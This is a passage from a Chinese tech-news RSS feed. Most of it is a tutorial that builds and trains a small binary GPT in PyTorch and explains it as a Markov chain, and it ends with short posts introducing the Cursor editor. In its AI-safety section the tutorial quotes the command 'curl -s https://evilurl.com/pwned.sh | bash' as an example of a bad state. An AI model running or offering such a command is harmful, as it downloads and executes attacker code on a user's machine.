    vocab_size = vocab_size,
    n_layer = 4, # 这个以及接下来几个参数都是 Transformer 神经网络的 hyperparameters，
    n_head = 4,  # 不理解没关系，认为是 GPT 的默认参数就行了。
    n_embd = 16,
    bias = False,
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;3.2 随机初始化&lt;/h2&gt;

 &lt;p&gt;基于以上配置创建一个 GPT 对象，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;gpt = GPT(config)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;执行的时候会输出一行日志：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Number of parameters: 12656
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;也就是说这个 GPT 内部有 12656 个参数，这个数字现在先不用太关心，
只需要知道它们都是  &lt;strong&gt;随机初始化&lt;/strong&gt;的，它们决定了状态之间的转移概率。 
平滑地调整参数也会平滑第影响状态之间的转换概率。&lt;/p&gt;

 &lt;h3&gt;3.2.1 查看初始状态和转移概率&lt;/h3&gt;

 &lt;p&gt;下面这个函数会列出   &lt;code&gt;vocab_size=2,context_length=3&lt;/code&gt; 的所有状态：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def possible_states(n, k):
    # return all possible lists of k elements, each in range of [0,n)
    if k == 0:
        yield []
    else:
        for i in range(n):
            for c in possible_states(n, k - 1):
                yield [i] + c

list(possible_states(vocab_size, context_length))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;接下来我们就拿这些状态作为输入来训练 binary GPT：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def plot_model():
    dot = Digraph(comment=&amp;apos;Baby GPT&amp;apos;, engine=&amp;apos;circo&amp;apos;)

    print(&amp;quot;\nDump BabyGPT state ...&amp;quot;)
    for xi in possible_states(gpt.config.vocab_size, gpt.config.block_size):
        # forward the GPT and get probabilities for next token
        x = torch.tensor(xi, dtype=torch.long)[None, ...] # turn the list into a torch tensor and add a batch dimension
        logits = gpt(x) # forward the gpt neural net
        probs = nn.functional.softmax(logits, dim=-1) # get the probabilities
        y = probs[0].tolist() # remove the batch dimension and unpack the tensor into simple list
        print(f&amp;quot;input {xi} ---&amp;gt; {y}&amp;quot;)

        # also build up the transition graph for plotting later
        current_node_signature = &amp;quot;&amp;quot;.join(str(d) for d in xi)
        dot.node(current_node_signature)
        for t in range(gpt.config.vocab_size):
            next_node = xi[1:] + [t] # crop the context and append the next character
            next_node_signature = &amp;quot;&amp;quot;.join(str(d) for d in next_node)
            p = y[t]
            label=f&amp;quot;{t}({p*100:.0f}%)&amp;quot;
            dot.edge(current_node_signature, next_node_signature, label=label)
    return dot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;这个函数除了在每个状态上运行 GPT，预测下一个 token 的概率，还会记录画状态转移图所需的数据。
下面是训练结果：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;#      输入状态      输出概率 [P(0),      P(1)              ]
input [0, 0, 0] ---&amp;gt; [0.4963349997997284, 0.5036649107933044]
input [0, 0, 1] ---&amp;gt; [0.4515703618526459, 0.5484296679496765]
input [0, 1, 0] ---&amp;gt; [0.49648362398147583, 0.5035163760185242]
input [0, 1, 1] ---&amp;gt; [0.45181113481521606, 0.5481888651847839]
input [1, 0, 0] ---&amp;gt; [0.4961162209510803, 0.5038837194442749]
input [1, 0, 1] ---&amp;gt; [0.4517717957496643, 0.5482282042503357]
input [1, 1, 0] ---&amp;gt; [0.4962802827358246, 0.5037197470664978]
input [1, 1, 1] ---&amp;gt; [0.4520467519760132, 0.5479532480239868]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;3.2.2 状态转移图&lt;/h3&gt;

 &lt;p&gt;对应的状态转移图（代码所在目录下生成的   &lt;code&gt;states-1.png&lt;/code&gt;）：&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;img height="45%" src="https://arthurchiao.github.io/assets/img/gpt-as-a-finite-state-markov-chain/states-1.png" width="45%"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;可以看到 8 个状态以及它们之间的转移概率。几点说明：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;在每个状态下，下一个 token 只有 0 和 1 两种可能，因此每个节点有 2 个出向箭头；&lt;/li&gt;
    &lt;li&gt;每个状态的入向箭头数量不完全一样；&lt;/li&gt;
    &lt;li&gt;每次状态转换时，最左边的 token 被丢弃，新 token 会追加到最右侧，这个前面也介绍过了；&lt;/li&gt;
    &lt;li&gt;另外注意到，此时的状态转移概率   &lt;strong&gt;大部分都是均匀分布&lt;/strong&gt;的（这个例子中是 50%），
这也符合预期，因为我们   &lt;strong&gt;还没拿真正的输入序列（不是初始的 8 个状态）来训练这个模型&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;3.3 训练&lt;/h2&gt;

 &lt;h3&gt;3.3.1 输入序列预处理&lt;/h3&gt;

 &lt;p&gt;接下来我们拿下面这段 token sequence 来训练上面已经初始化好的 GPT：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Python 3.8.2 (default, Mar 13 2020, 10:14:16)
&amp;gt;&amp;gt;&amp;gt; seq = list(map(int, &amp;quot;111101111011110&amp;quot;))
&amp;gt;&amp;gt;&amp;gt; seq
[1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;将以上 token sequence 转换成 tensor，记录每个样本：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def get_tensor_from_token_sequence():
    X, Y = [], []

    # iterate over the sequence and grab every consecutive 3 bits
    # the correct label for what&amp;apos;s next is the next bit at each position
    for i in range(len(seq) - context_length):
        X.append(seq[i:i+context_length])
        Y.append(seq[i+context_length])
        print(f&amp;quot;example {i+1:2d}: {X[-1]} --&amp;gt; {Y[-1]}&amp;quot;)
    X = torch.tensor(X, dtype=torch.long)
    Y = torch.tensor(Y, dtype=torch.long)
    print(X.shape, Y.shape)

get_tensor_from_token_sequence()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;输出：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;example  1: [1, 1, 1] --&amp;gt; 1
example  2: [1, 1, 1] --&amp;gt; 0
example  3: [1, 1, 0] --&amp;gt; 1
example  4: [1, 0, 1] --&amp;gt; 1
example  5: [0, 1, 1] --&amp;gt; 1
example  6: [1, 1, 1] --&amp;gt; 1
example  7: [1, 1, 1] --&amp;gt; 0
example  8: [1, 1, 0] --&amp;gt; 1
example  9: [1, 0, 1] --&amp;gt; 1
example 10: [0, 1, 1] --&amp;gt; 1
example 11: [1, 1, 1] --&amp;gt; 1
example 12: [1, 1, 1] --&amp;gt; 0
torch.Size([12, 3]) torch.Size([12])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;可以看到这个 token sequence 分割成了 12 个样本。接下来就可以训练了。&lt;/p&gt;

 &lt;h3&gt;3.3.2 开始训练&lt;/h3&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def do_training(X, Y):
    # init a GPT and the optimizer
    torch.manual_seed(1337)
    gpt = babygpt.GPT(config)
    optimizer = torch.optim.AdamW(gpt.parameters(), lr=1e-3, weight_decay=1e-1)

    # train the GPT for some number of iterations
    for i in range(50):
        logits = gpt(X)
        loss = F.cross_entropy(logits, Y)
        loss.backward()
        optimizer.step()
        optimizer.zero_grad()
        print(i, loss.item())

do_training(X, Y)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;输出：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;0 0.663539469242096
1 0.6393510103225708
2 0.6280076503753662
3 0.6231870055198669
4 0.6198631525039673
5 0.6163331270217896
6 0.6124278903007507
7 0.6083487868309021
8 0.6043017506599426
9 0.6004215478897095
10 0.5967749953269958
11 0.5933789610862732
12 0.5902208685874939
13 0.5872761011123657
14 0.5845204591751099
15 0.5819371342658997
16 0.5795179009437561
17 0.5772626996040344
18 0.5751749873161316
19 0.5732589960098267
20 0.5715171694755554
21 0.5699482560157776
22 0.5685476660728455
23 0.5673080086708069
24 0.5662192106246948
25 0.5652689337730408
26 0.5644428730010986
27 0.563723087310791
28 0.5630872845649719
29 0.5625078678131104
30 0.5619534254074097
31 0.5613844990730286
32 0.5607481598854065
33 0.5599767565727234
34 0.5589826107025146
35 0.5576505064964294
36 0.5558211803436279
37 0.5532580018043518
38 0.5495675802230835
39 0.5440602898597717
40 0.5359978079795837
41 0.5282725095748901
42 0.5195847153663635
43 0.5095029473304749
44 0.5019271969795227
45 0.49031805992126465
46 0.48338067531585693
47 0.4769590198993683
48 0.47185763716697693
49 0.4699831008911133
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;3.3.3 训练之后的状态转移概率图&lt;/h3&gt;

 &lt;p&gt;以上输出对应的状态转移图
（代码所在目录下生成的   &lt;code&gt;states-2.png&lt;/code&gt;）：&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;img height="45%" src="https://arthurchiao.github.io/assets/img/gpt-as-a-finite-state-markov-chain/states-2.png" width="45%"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;可以看出训练之后的状态转移概率变了，这也符合预期。比如在我们的训练数据中，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;strong&gt;101 总是转换为 011&lt;/strong&gt;：经过 50 次训练之后，我们看到这种转换有    &lt;strong&gt;    &lt;code&gt;79%&lt;/code&gt;&lt;/strong&gt; 的概率；&lt;/li&gt;
    &lt;li&gt;111 在 50% 的时间内变为 111，在 50% 的时间内变为 110：训练之后概率分别是  45% 和 55%。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;其他几点需要注意的地方：&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;
       &lt;p&gt;没有看到 100% 或 50% 的转移概率：&lt;/p&gt;

       &lt;p&gt;这是因为    &lt;strong&gt;神经网络没有经过充分训练&lt;/strong&gt;，继续训练就会出现更接近这两个值的转移概率；&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;    &lt;strong&gt;训练数据中没出现过的状态&lt;/strong&gt;（例如 000 或 100），    &lt;strong&gt;转移到下一个状态的概率&lt;/strong&gt;
 （预测下一个 token 是 0 还是 1 的概率）    &lt;strong&gt;并不是均匀的&lt;/strong&gt;（    &lt;code&gt;50% vs. 50%&lt;/code&gt;），
  而是差异很大（上图中是     &lt;code&gt;75% vs. 25%&lt;/code&gt;）。&lt;/p&gt;

       &lt;p&gt;如果训练期间从未遇到过这些状态，那它们的转移概率不应该在 ~50% 吗？
不是，以上结果也是符合预期的。因为    &lt;strong&gt;在真实部署场景中，GPT 的几乎每个输入都没有在训练中见过&lt;/strong&gt;。
这种情况下，我们依靠 GPT 自身内部设计及其 inductive bias 来执行适当的泛化。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

 &lt;h2&gt;3.4 采样（推理）&lt;/h2&gt;

 &lt;p&gt;最后，我们试试从这个 GPT 中采样：初始输入是   &lt;code&gt;111&lt;/code&gt;，然后依次预测接下来的 20 个 token，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;xi = [1, 1, 1] # the starting sequence
fullseq = xi.copy()
print(f&amp;quot;init: {xi}&amp;quot;)
for k in range(20):
    x = torch.tensor(xi, dtype=torch.long)[None, ...]
    logits = gpt(x)
    probs = nn.functional.softmax(logits, dim=-1)
    t = torch.multinomial(probs[0], num_samples=1).item() # sample from the probability distribution
    xi = xi[1:] + [t] # transition to the next state
    fullseq.append(t)
    print(f&amp;quot;step {k}: state {xi}&amp;quot;)

print(&amp;quot;\nfull sampled sequence:&amp;quot;)
print(&amp;quot;&amp;quot;.join(map(str, fullseq)))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;输出：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;init: [1, 1, 1]
step 0: state [1, 1, 0]
step 1: state [1, 0, 1]
step 2: state [0, 1, 1]
step 3: state [1, 1, 1]
step 4: state [1, 1, 0]
step 5: state [1, 0, 1]
step 6: state [0, 1, 1]
step 7: state [1, 1, 1]
step 8: state [1, 1, 0]
step 9: state [1, 0, 1]
step 10: state [0, 1, 1]
step 11: state [1, 1, 0]
step 12: state [1, 0, 1]
step 13: state [0, 1, 1]
step 14: state [1, 1, 1]
step 15: state [1, 1, 1]
step 16: state [1, 1, 0]
step 17: state [1, 0, 1]
step 18: state [0, 1, 0]
step 19: state [1, 0, 1]

full sampled sequence:
11101110111011011110101
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;ul&gt;
    &lt;li&gt;采样得到的序列：   &lt;code&gt;11101110111011011110101&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;之前的训练序列：   &lt;code&gt;111101111011110&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;我们的 GPT 训练的越充分，采样得到的序列就会跟训练序列越像。
但  &lt;strong&gt;在本文的例子中，我们永远得不到完美结果&lt;/strong&gt;，
因为状态 111 的下一个 token 是模糊的：50% 概率是 1，50% 是 0。&lt;/p&gt;

 &lt;h2&gt;3.5 完整示例&lt;/h2&gt;

 &lt;p&gt;源文件：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ ls
babygpt.py  main.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;All-in-one 执行：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ python3 main.py
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;生成的两个状态转移图：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ ls *.png
states-1.png  states-2.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h1&gt;4 问题讨论&lt;/h1&gt;

 &lt;h2&gt;4.1 词典大小和上下文长度&lt;/h2&gt;

 &lt;p&gt;本文讨论的是基于 3 个 token 的二进制 GPT。实际应用场景中，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;code&gt;vocab_size&lt;/code&gt; 会远远大于 2，例如    &lt;strong&gt;50 万&lt;/strong&gt;；&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;context_length&lt;/code&gt; 的典型范围    &lt;strong&gt;    &lt;code&gt;2048 ~ 32000&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;4.2 模型对比：计算机 vs. GPT&lt;/h2&gt;

 &lt;p&gt;计算机（computers）的计算过程其实也是类似的，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;计算机有内存，存储离散的 bits；&lt;/li&gt;
    &lt;li&gt;计算机有 CPU，定义转移表（transition table）；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;但它们用的更像是一个是  &lt;strong&gt;有限状态机&lt;/strong&gt;（FSM）而不是  &lt;strong&gt;有限状态马尔可夫链&lt;/strong&gt;（FSMC）。 
另外，计算机是  &lt;strong&gt;确定性动态系统&lt;/strong&gt;（ deterministic dynamic systems），
所以每个状态的转移概率中，有一个是 100%，其他都是 0%，也就是说它每次都是从一个状态
100% 转移到下一个状态，不存在模糊性（否则世界就乱套了，想象一下转账 100 块钱，
不是只有成功和失败两种结果，而是有可能转过去 90，有可能转过去 10 块）。&lt;/p&gt;

 &lt;p&gt;GPT 则是一种另一种计算机体系结构，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;默认情况下是   &lt;strong&gt;随机&lt;/strong&gt;的，&lt;/li&gt;
    &lt;li&gt;计算的是 token 而不是比特。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;也就是说，即使在绝对零度采样，也不太可能将 GPT 变成一个 FSM。
这意味着每次状态转移都是贪婪地挑概率最大的 token；但也可以通过
  &lt;a href="https://en.wikipedia.org/wiki/Beam_search"&gt;beam search&lt;/a&gt; 算法来降低这种贪婪性。
但是，在采样时完全丢弃这些熵也是有副作用的，采样 benchmark 以及样本的
qualitative look and feel 都会下降（看起来很“安全”，无聊），因此实际上通常不会这么做。&lt;/p&gt;

 &lt;h2&gt;4.3 模型参数大小（GPT 2/3/4）&lt;/h2&gt;

 &lt;p&gt;本文的例子是用 3bit 来存储一个状态，因此所需存储空间极小；但真实世界中的 GPT 模型所需的存储空间就大了。&lt;/p&gt;

 &lt;p&gt;  &lt;a href="https://www.lesswrong.com/posts/7qSHKYRnqyrumEfbt"&gt;这篇文章&lt;/a&gt; 对比了 GPT 和常规计算机（computers）的 size，例如：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;
       &lt;p&gt;GPT-2 有     &lt;strong&gt;     &lt;code&gt;50257&lt;/code&gt;&lt;/strong&gt; 个独立 token，上下文长度是     &lt;strong&gt;     &lt;code&gt;2048&lt;/code&gt;&lt;/strong&gt; 个 token。&lt;/p&gt;

       &lt;p&gt;每个 token 需要     &lt;code&gt;log2(50257) ≈ 15.6bit&lt;/code&gt; 来表示，那一个上下文或
    &lt;strong&gt;一个状态&lt;/strong&gt;需要的存储空间就是
    &lt;strong&gt;     &lt;code&gt;15.6 bit/token * 2048 token = 31Kb ≈ 4KB&lt;/code&gt;&lt;/strong&gt;。
这足以     &lt;a href="https://www.digitec.ch/en/page/apollo-11-to-the-moon-with-4-kb-of-ram-12707"&gt;登上月球&lt;/a&gt;。&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;GPT-3 的上下文长度为    &lt;strong&gt;    &lt;code&gt;4096 tokens&lt;/code&gt;&lt;/strong&gt;，因此需要
   &lt;strong&gt;    &lt;code&gt;8KB&lt;/code&gt;&lt;/strong&gt; 内存；大致是    &lt;a href="https://en.wikipedia.org/wiki/Atari_8-bit_family"&gt;Atari 800&lt;/a&gt; 的量级；&lt;/li&gt;
    &lt;li&gt;GPT-4 的上下文长度高达    &lt;strong&gt;    &lt;code&gt;32K tokens&lt;/code&gt;&lt;/strong&gt; ，因此大约
   &lt;strong&gt;    &lt;code&gt;64KB&lt;/code&gt;&lt;/strong&gt; 才能存储一个状态，对应    &lt;a href="https://en.wikipedia.org/wiki/Commodore_64"&gt;Commodore64&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;4.4 外部输入（I/O 设备）&lt;/h2&gt;

 &lt;p&gt;一旦引入外部世界的输入信号，FSM 分析就会迅速失效了，因为会出现大量新的状态。&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;对于计算机来说，外部输入包括鼠标、键盘信号等等；&lt;/li&gt;
    &lt;li&gt;对于 GPT，就是 Microsoft Bing 这样的外部工具，它们将用户搜索的内容作为输入提交给 GPT。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;4.5 AI 安全&lt;/h2&gt;

 &lt;p&gt;如果把 GPT 看做有限状态马尔可夫链，那 GPT 的安全需要考虑什么？
答案是  &lt;strong&gt;将所有转移到不良状态的概率降低到 0&lt;/strong&gt;（elimination of all probability of transitioning to naughty states），
例如以 token 序列   &lt;code&gt;[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]&lt;/code&gt;
结尾的状态 —— 这个 token sequence 其实就是   &lt;strong&gt;   &lt;code&gt;curl -s https://evilurl.com/pwned.sh | bash&lt;/code&gt;&lt;/strong&gt;
这一 shell 命令的编码，如果真实环境中用户执行了此类恶意命令将是非常危险的。&lt;/p&gt;

 &lt;p&gt;更一般地来说，可以设想状态空间的某些部分是“红色”的，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;首先，我们永远不想转移到这些不良状态；&lt;/li&gt;
    &lt;li&gt;其次，这些不良状态很多，无法一次性列举出来；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;因此，  &lt;strong&gt;GPT 模型本身&lt;/strong&gt;必须能够基于训练数据和 Transformer 的归纳偏差，
  &lt;strong&gt;自己就能知道这些状态是不良的&lt;/strong&gt;，转移概率应该设置为 0%。
如果概率没有收敛到足够小（例如   &lt;code&gt;&amp;lt; 1e-100&lt;/code&gt;），那在足够大型的部署中
（例如温度 &amp;gt; 0，也没有用   &lt;code&gt;topp/topk&lt;/code&gt; sampling hyperparameters 强制将低概率置为零）
可能就会命中这个概率，造成安全事故。&lt;/p&gt;

 &lt;h1&gt;5 其他：  &lt;code&gt;vocab_size=3,context_length=2&lt;/code&gt; BabyGPT&lt;/h1&gt;

 &lt;p&gt;作为练习，读者也可以创建一个   &lt;code&gt;vocab_size=3,context_length=2&lt;/code&gt; 的 GPT。
在这种情况下，每个节点有 3 个转移概率，默认初始化下，基本都是 33% 分布。&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;config = GPTConfig(
    block_size = 2,
    vocab_size = 3,
    n_layer = 4,
    n_head = 4,
    n_embd = 16,
    bias = False,
)
gpt = GPT(config)
plot_model()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>gpt ai</category>
      <guid isPermaLink="true">https://itindex.net/detail/62762-gpt-%E5%B7%A5%E4%BD%9C-python</guid>
      <pubDate>Sun, 21 May 2023 08:00:00 CST</pubDate>
    </item>
    <item>
      <title>自动生成代码工具-cursor(集成ChatGpt)</title>
      <link>https://itindex.net/detail/62716-%E4%BB%A3%E7%A0%81-%E5%B7%A5%E5%85%B7-cursor</link>
      <description>&lt;p&gt;最近体验了一把cursor，自动生成代码工具，集成了最近很火的ChatGpt，目前比较好的就是代码生成工具大概就是  &lt;a href="https://docs.github.com/zh/copilot"&gt;github copilot&lt;/a&gt;和  &lt;a href="https://www.cursor.so/"&gt;cursor&lt;/a&gt;，不过github copilot需要付费使用或者漫长的waitlist，所以目前比较好的是cursor&lt;/p&gt;
 &lt;h2&gt;配置&lt;/h2&gt;
 &lt;p&gt;配置自己经常使用的语言，比如ts、html、css等等&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/412812e23dca4071bdfdecfea097046a~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;操作&lt;/h2&gt;
 &lt;p&gt;目前来说就两个功能，如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f769e90217c64d0c8d8c7b2b97e26047~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;ctrl+k：生成代码&lt;/h3&gt;
 &lt;p&gt;描述需要生成的代码功能，回车后会自动帮你生成，比如生成一个斐波那契数列函数&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="cursor(ctrl).gif" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/34418d6f60364b17810ec8eba4b87a22~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如果对这段代码想做一些编辑操作，比如添加注释，只需选中代码，再次  &lt;code&gt;ctrl+k&lt;/code&gt; 回车即可，如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="cursor_2.gif" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/71c52e492cc8419db996e0567f569e69~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;生成之后，提供了  &lt;code&gt;Accept All&lt;/code&gt;和  &lt;code&gt;Reject All&lt;/code&gt;两个功能，类似于【全选/全不选】的功能&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;code&gt;Accept All&lt;/code&gt; ：添加所有&lt;/li&gt;
  &lt;li&gt;   &lt;code&gt;Reject All&lt;/code&gt; ：删除所有&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="image.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/b3a41e421b6f43698e4fc6e2e7b7f8e2~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;ctrl+l：智能对话&lt;/h3&gt;
 &lt;p&gt;类型于gpt-4的功能，对他提出你的疑惑，他会给出解决方案，不用去百度答案，如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="cursor_4.gif" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c39bd61d06dd4c8eb3d039f00ade4928~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;当对这段代码不理解时，也可以选中代码，问他实现逻辑或者代码结构等，如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="cursor_5.gif" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3f56374575b94e4ebfc00f4f59611814~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;注意：从上面对话可以看出来，cursor对于语言不敏感，所以如果想要生成对话呈中文表达，最好前面加上【请用中文】类似于这类词语&lt;/p&gt;
 &lt;h2&gt;用途&lt;/h2&gt;
 &lt;p&gt;cursor的功能目前对于程序员来说，算是简而全的一个代码工具，他支持多种语言，如js、ts、python、rust、go、java等等市面上比较常见的编程语言。他可以根据你的描述自动生成代码，还可以再你接受别人代码是帮助你理解、重构代码，并且可以测试bug、校验格式等等&lt;/p&gt;
 &lt;h2&gt;参考链接&lt;/h2&gt;
 &lt;p&gt;  &lt;a href="https://cn-sec.com/archives/1614273.html"&gt;&lt;/a&gt;  &lt;a href="https://cn-sec.com/archives/1614273.html"&gt;https://cn-sec.com/archives/1614273.html&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://cloud.tencent.com/developer/article/2242409"&gt;&lt;/a&gt;  &lt;a href="https://cloud.tencent.com/developer/article/2242409"&gt;https://cloud.tencent.com/developer/article/2242409&lt;/a&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62716-%E4%BB%A3%E7%A0%81-%E5%B7%A5%E5%85%B7-cursor</guid>
      <pubDate>Fri, 31 Mar 2023 20:11:04 CST</pubDate>
    </item>
    <item>
      <title>基于OpenAI的代码编辑器：Cursor</title>
      <link>https://itindex.net/detail/62706-openai-%E4%BB%A3%E7%A0%81-%E7%BC%96%E8%BE%91</link>
      <description>&lt;p&gt;大家好，我是TJ&lt;/p&gt; &lt;p&gt;最近随着OpenAI的一系列大动作，把软件领域搅的天翻地覆。各行各业各领域，都出现了大量新产品。&lt;/p&gt; &lt;p&gt;开发工具领域首当其冲，各种新工具层出不穷，今天TJ就给大家推荐一个全新的开发工具：Cursor&lt;/p&gt; &lt;p&gt;  &lt;img alt="Cursor" src="https://blog.didispace.com/images2/202303/tj-ai-code-cursor/1679914689928.png"&gt;&lt;/img&gt;  &lt;/p&gt; &lt;p&gt;从官网介绍可以看到，Cursor基于OpenAI实现，继承了最新的GPT-4模型，支持Mac、Windows、Linux三大平台。&lt;/p&gt; &lt;p&gt;下面大家看看这个开发工具有多厉害，感性兴趣的读者也可以通过下方链接去官网下载了一起体验：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;官方网站：   &lt;a href="https://www.cursor.so/" rel="external nofollow noopener noreferrer" target="_blank"&gt;https://www.cursor.so/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;  &lt;a href="https://blog.didispace.com/#&amp;#29983;&amp;#25104;&amp;#20195;&amp;#30721;" title="&amp;#29983;&amp;#25104;&amp;#20195;&amp;#30721;"&gt;&lt;/a&gt;生成代码&lt;/h2&gt; &lt;ol&gt;  &lt;li&gt;通过快捷键cmd + k唤出AI指令输入框&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;  &lt;img alt="" src="https://blog.didispace.com/images2/202303/tj-ai-code-cursor/1679914721150.png"&gt;&lt;/img&gt;  &lt;/p&gt; &lt;ol start="2"&gt;  &lt;li&gt;比如，我这里输入“读取文件”。马上就产生了下面的实现内容：&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;  &lt;img alt="" 